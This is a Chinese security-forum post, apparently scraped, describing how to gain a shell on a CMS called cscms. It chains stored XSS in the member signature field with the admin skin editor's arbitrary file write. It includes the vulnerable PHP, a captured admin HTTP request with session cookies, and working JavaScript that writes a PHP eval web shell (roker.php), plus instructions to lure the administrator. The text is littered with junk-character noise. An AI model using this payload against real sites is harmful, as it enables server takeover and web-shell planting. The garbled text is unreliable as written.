|
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
: D" F* v% ]: V, D官网已经修补了,所以重新下了源码
3 [: b0 u* X) o0 l6 ^- R因为 后台登入 还需要认证码 所以 注入就没看了。
% S; r5 ?; W' f* K+ d! b存在 xss
# j& N/ E9 ^: [1 o+ n) c9 F7 A漏洞文件 user/member/skin_edit.php
! ~7 d! \: W: Q. ?5 q本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:6 m) t) n, [% X: e) d
% a* L C2 T5 L* X% p# }8 p8 j</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>2 k: Q# \$ c7 {2 {
! ?/ g$ {+ k5 W
</textarea></td></tr>4 }5 _: ~0 g7 d( h0 k
: `$ \8 m8 k! d# ]) ~ user/do.php / |6 }. l6 Y! x- z# Z0 E7 w/ Y# e
! n0 t! V' B- Z- E Q7 i( p: }$ i( S7 k4 i6 ?8 z
if($op=='zl'){ //资料4 s2 H9 Z6 I0 s, H1 _& |/ a
4 r& k& [# d2 |# v% P" E if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
' F3 M, v! b- }1 T1 {3 O; T exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));; F6 \* d# X5 _5 U/ [
) k9 j7 r" f2 q- `7 _/ I8 U( i $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
6 D5 m. q5 P, }4 g6 X& D/ T ( Z5 r4 t" s8 z1 ?: N2 _
CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
5 j; X: ]6 w8 G. O- @8 f where CS_Name='".$cscms_name."'";6 i6 m6 y0 P& D" l. A3 d8 ?9 h/ K
" ?+ b( t0 H2 U) {: U t' P if($db->query($sql)){; t' M3 ?9 F) r, a# f& V/ \& G' ^
! j% {+ L6 h; O# g/ h
exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));$ q" d& h# n- O
$ ^2 S; t, m" H' x8 J3 j
}else{
& k4 U* u8 w& [
1 v. `; ~% l4 q exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
! W6 N- \2 f( a% q# K. c, ]
$ ~& y/ n% l9 W! ]7 h. _ }# P. Q. I, V3 i. k4 B4 A# F& N( L7 N
! v) {2 I; l/ b) V/ @8 g
* H; }+ M8 W- Z+ i! P1 f6 U5 g2 X没有 过滤导致xss产生。
0 n* |6 ~* L+ \1 d后台 看了下 很奇葩的是可以写任意格式文件。。
' V: E7 J3 V% B/ W抓包。。7 g" O# l! q8 s+ _
G p# y: y0 E# f. q% s6 d) z- R2 i. F- X/ E& X, v. f
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
8 m. o1 Z4 y, t- Q6 M* ?% [) X5 J$ Y ( C4 j: c4 k0 o6 O0 b: c
Accept: text/html, application/xhtml+xml, */*% l$ a6 E+ i" T5 O5 @7 @5 W
8 i. z5 r' |5 l* d1 OReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php5 p% A+ F5 m1 N. b. e; C- V$ O9 m
; `4 j5 B0 o IAccept-Language: zh-CN5 `( ^( E; k8 m) d& C
/ y. f5 E7 |2 pUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)) w: \; M) L# i8 P
- K' a0 a: o/ e$ W- D( P9 SContent-Type: application/x-www-form-urlencoded/ B" z! R) D- ], u
3 a/ A( x9 x, x* v/ r# Q
Accept-Encoding: gzip, deflate2 {* p0 u6 e( K
" Q k3 ~' d# {8 C" K; u8 _Host: 127.0.0.1- \+ `; m5 N7 F, ~
: q/ Q8 d; L) d8 F, [# C& {" e- Q9 {) @Content-Length: 38
) i. n1 d2 ], }3 v7 ?% c, R
1 C4 {8 }) l5 E5 aDNT: 1' \9 _7 v9 b: F% f5 z
8 p! ^4 Y5 V4 |
Connection: Keep-Alive3 _5 V' Q8 ^5 |4 _; C/ m" S: e2 ]
9 m5 ^7 v0 M) R) S0 v' v
Cache-Control: no-cache
+ \) w7 r1 T$ E) g* a5 } 9 ?/ W* ]; L: A8 a) C7 ?: k
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
2 n+ _4 z. @8 k" J8 A $ D' d3 W% _ B( T5 X6 i1 y
* z9 V: F1 z% p" }3 y$ o( l P& U
name=aaa.php&content=%3Cs%3E%3Ca%25%3E
0 v1 I2 U! e1 j, E* G+ _
, c8 r) H: K2 H1 L' |# N0 M5 L0 {7 s
# d# T3 B* @7 M; R5 l
O, ~# u# @, G3 C于是 构造js如下。
, u- ?7 N! ?; k8 r( y" C% D+ R9 f7 j( _6 ]; q: }
本帖隐藏的内容<script>
# S9 l- i2 S8 W( q3 X% F/ LthisTHost = top.location.hostname;3 B$ C3 n2 K6 ?3 ?
; q6 ~. l) N9 s5 ^/ a" VthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
- T! K2 w6 z. {, ^7 g ) h, B5 U0 Z4 o5 b% I' o
function PostSubmit(url, data, msg) { # [ G* v" O& N( r6 M$ v: M
var postUrl = url;
* J( C. _0 m6 ?; I' m # s' W2 Z9 g& d- }' ^: n+ y
var postData = data; k0 A4 B% ]/ e7 E/ Z5 y7 H
var msgData = msg;
5 R' {1 X: v* q; k1 F! j z$ Z i1 L var ExportForm = document.createElement("FORM");
! o6 P% E: ]" ` document.body.appendChild(ExportForm); ' w( `/ r( l9 r! @0 X% k$ }+ f
ExportForm.method = "POST"; * I& _! S8 g9 r$ ]/ g
var newElement = document.createElement("input"); ( u1 A; E) [2 Y
newElement.setAttribute("name", "name"); - i1 j# J+ k" d
newElement.setAttribute("type", "hidden"); ) C! Y+ ?# C- m! v& k# ~
var newElement2 = document.createElement("input");
0 g8 }2 Z6 v; | [ newElement2.setAttribute("name", "content"); ; C9 i0 O: E7 s
newElement2.setAttribute("type", "hidden"); # u+ P+ D& h: N" z
ExportForm.appendChild(newElement);
2 l u% j: _5 \" ` ExportForm.appendChild(newElement2);
7 F1 K$ T* [- \. B( r newElement.value = postData;
3 L0 r" w7 {) z9 d, |* f2 I' Y newElement2.value = msgData;
, {5 s6 r2 a) {* ]$ p0 R ExportForm.action = postUrl;
3 Z, t! }% W- Y6 }1 @/ ` ExportForm.submit(); ; s) W f }8 u+ W m
};
5 I# T6 W& Q0 n$ P0 }- D+ ^2 g 3 y/ v0 k+ \3 Q/ {
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
* v9 q$ E6 p( X+ E 0 a$ l( G! b F' p# J
</script>0 u+ t. L2 x$ n4 n* c5 @
: s- c, {7 F5 }. {4 F" j% Q4 m
1 X# I# \9 [4 @
/ e4 ^* g: @7 bhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
v% @5 i, x; z+ ?" f( z用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)8 }' `% F2 Q5 l3 c
就会 在 skins\index\html\目录下生成 roker.php 一句话。 | 8 ]* Y7 ?$ |' T: h
|
|